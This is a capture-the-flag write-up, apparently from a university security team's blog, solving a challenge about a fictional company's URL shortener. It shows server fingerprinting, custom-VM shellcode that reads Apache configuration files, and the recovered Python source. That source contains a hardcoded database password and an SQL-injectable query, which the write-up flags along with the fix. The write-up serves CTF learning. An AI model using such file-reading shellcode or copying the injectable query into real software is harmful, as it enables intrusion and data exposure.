From: Jessica <jessica@megacortek.com>
To: LSE <lse@megacortek.com>
Subject: New email from our contact
Attachments : executable2.ndh

Thank you again for your help, our technical staff has a pretty good
overview of the new device designed by Sciteek. Your account will be
credited with $500.

You did work hard enough to impress me, your help is still more than
welcome, you will get nice rewards. Our anonymous guy managed to get access
to another bunch of files. Here is one of his emails:

---
Hi there, see attached file for more information. It was found on
http://sci.nuitduhack.com/EgZ8sv12.
---

Maybe you can get further than him by exploiting this website.  We also
need to get as much information as possible about the file itself. If you
succeed, you will be rewarded with $2500 for the ndh file and $1000 for the
website. Please use "Sciteek shortener" and "strange binary file #2"
titles.

Regards,
Jessica.

Let’s ignore the file at the given URL (this is for another writeup!) and work on the URL shortener website mentioned in this email: sci.nuitduhack.com.

After experimenting a bit, we noticed several interesting points:

  • The short URL is apparently random, and trying to access a non-existent one give us “An unknown error occurred. Please try later.
  • If no short URL is provided, the following error message is displayed: “No URL alias found in URL

We looked at the web server informations to get more data on where to start attacking. This is the HTTP response to an invalid short URL:

HTTP/1.1 200 WSGI-GENERATED
Server: nginx
Date: Sat, 24 Mar 2012 21:40:23 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding

The WSGI-GENERATED string informs us that the website is coded in Python using the WSGI interface to communicate with the web server. Also, even though nginx is mentioned in the HTTP response, sending some erroneous queries shows us that in fact nginx is only used as a reverse proxy in front of an Apache 2 server:

$ curl -vvv http://sci.nuitduhack.com/%
* About to connect() to sci.nuitduhack.com port 80 (#0)
*   Trying 176.34.97.189...
* connected
* Connected to sci.nuitduhack.com (176.34.97.189) port 80 (#0)
> GET /% HTTP/1.1
> User-Agent: curl/7.24.0 (x86_64-unknown-linux-gnu) libcurl/7.24.0
              OpenSSL/1.0.0g zlib/1.2.6 libssh2/1.3.0
> Host: sci.nuitduhack.com
> Accept: */*
>
< HTTP/1.1 400 Bad Request
< Server: nginx
< Date: Sat, 24 Mar 2012 21:42:06 GMT
< Content-Type: text/html; charset=iso-8859-1
< Content-Length: 226
< Connection: keep-alive
< Vary: Accept-Encoding
<
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
</body></html>
* Connection #0 to host sci.nuitduhack.com left intact

We knew that we could use the server running on port 4004 to access the filesystem through a shellcode running in the VM. We used that to confirm that an Apache 2 server was installed and running on the server, using the following shellcode:

MOVB    R0, #0x2
MOVL    R1, :filename
MOVB    R2, #0x0
SYSCALL         ; open(filename, O_RDONLY)
MOV     R7, R0

.label :loop
MOVB    R0, #0x03
MOV     R1, R7
MOV     R2, SP
MOVB    R3, #0x01
SYSCALL         ; read(fd, sp, 1)
TEST    R0, R0
JNZ     :read_ok
END

.label :read_ok
MOVB    R0, #0x04
MOVB    R1, #0x01
MOV     R2, SP
MOVB    R3, #0x01
SYSCALL         ; write(stdout, sp, 1)
JMPS    :loop

.label :filename
.ascii "/etc/apache2/apache2.conf"

Using this shellcode we were able to read /etc/apache2/apache2.conf, as well as the default vhost (/etc/apache2/sites-enabled/default) and the Apache 2 PID file (/var/run/apache2.pid). We then tried to access the URL shortener vhost. After a few tries and a lot of luck, we found out that it was named shortner instead of shortener. Here is its virtual host configuration:

<VirtualHost *:80>
        ServerAdmin webmaster@localhost
        ServerName sci.nuitduhack.com
        DocumentRoot /var/www/shortner
        <Directory />
                Options FollowSymLinks
                AllowOverride None
        </Directory>

        WSGIScriptAlias / /var/www/shortner/app.py
        <Directory /var/www/shortner>
                Options FollowSymLinks
                AllowOverride None
                Order allow,deny
                Allow from All
        </Directory>
</VirtualHost>

We then read the application source code, and after a few hops we got this file which handles the HTTP queries:

from apwal import *
from apwal.core.exceptions import ExternalRedirect
from apwal.http import HttpResponse,HttpResponseRedirect
from MySQLdb import *

user = 'shortner'
passwd = 'TzuFsms8'
db = 'shortner'

class ErrorOccurred(Exception):
    def __init__(self):
        Exception.__init__(self)

class Shortner:
    def __init__(self):
        # connect to our database
        self.conn = connect(host='localhost',user=user,
                            passwd=passwd,db=db,port=3306)

    def getUrlFromAlias(self, alias):
        cur = self.conn.cursor()
        cur.execute("SELECT url FROM `shortner` WHERE alias='%s'" % alias)
        res = cur.fetchone()
        cur.close()
        if res:
            return res[0]
        return None

    def close(self):
        self.conn.close()

@main
class URLShortner(Pluggable):

    def getRealUrlFromAlias(self, alias):
        s = Shortner()
        url = s.getUrlFromAlias(alias)
        s.close()
        return url

    def error(self):
        return HttpResponse('An unknown error occurred. Please try later.')

    @bind('/{id:(.+)}?')
    def index(self,urlparams=None):
        if urlparams and ('id' in urlparams) and urlparams['id']:
            if urlparams['id']=='mMVzJ8Qj/flag.txt':
                return HttpResponse('b92b5e7094c7ffb35a526c9eaa6fab0a')
            elif urlparams['id']=='EgZ8sv12':
                return HttpResponse(
                    open('/var/www/shortner/crackme2.ndh','rb').read()
                )
            else:
                try:
                    if 'BENCHMARK' in urlparams['id'].upper():
                        raise ErrorOccurred() 
                    r = self.getRealUrlFromAlias(urlparams['id'])
                    if r:
                        return HttpResponseRedirect(r)
                    raise ErrorOccurred()
                except ProgrammingError,e:
                    return self.error()
                except ErrorOccurred,e:
                    return self.error()
        else:
            return HttpResponse(
                '<html><head><title>Sciteek URL shortener</title></head>'
                '<body><h2>No URL alias found in URL !</h2></body></html>'
            )

According to the code, it looks like we should have been able to inject SQL through the short URL! Indeed, the query parameter is not escaped before being interpolated with % in the query (a correct way to do it would have been to remove the manual interpolation and let the Python MySQL client lib do it itself!). But there is no need to do that, the flag is already present in the code source: b92b5e7094c7ffb35a526c9eaa6fab0a.

LSE blog: teaching you how to pwn web challenges without doing dirty web exploits!